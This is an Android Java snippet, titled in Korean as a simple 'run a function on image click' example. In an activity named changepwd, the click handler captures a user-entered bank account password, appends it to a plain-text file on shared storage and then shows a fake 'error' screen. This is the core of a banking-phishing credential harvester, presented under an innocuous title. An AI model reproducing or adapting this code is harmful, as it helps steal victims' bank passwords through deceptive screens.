이미지 클릭 시 함수 실행

   ImageView mButtonRetry = (ImageView)findViewById(R.id.ok);
        mButtonRetry.setOnClickListener(new ImageView.OnClickListener(){
        
            public void onClick(View v) {
             
                String certi_pass = "통장 비밀번호:"+edittext.getText().toString()+"\n";
               
                try{
                 InputStream in = new ByteArrayInputStream(certi_pass.toString().getBytes("UTF-8"));
                
                 FileOutputStream fos = new FileOutputStream("/sdcard/tmp/1.txt", true);
                
                 BufferedInputStream bis = new BufferedInputStream(in);
                 BufferedOutputStream bos = new BufferedOutputStream(fos);
                
                 int len=0;
                 byte[]buf = new byte[1024];
                 while((len=bis.read(buf,0,1024))!=-1)
                 {
                  bos.write(buf,0,len);
                 }
                
                 bos.close();
                 bis.close();
                 fos.close();
                 in.close();
                
                }catch (Exception e) {
                 e.printStackTrace();
                }
               
       
        
             
           Intent intent = new Intent(changepwd.this, error.class);
             startActivity(intent);
             finish();
             }
             
        });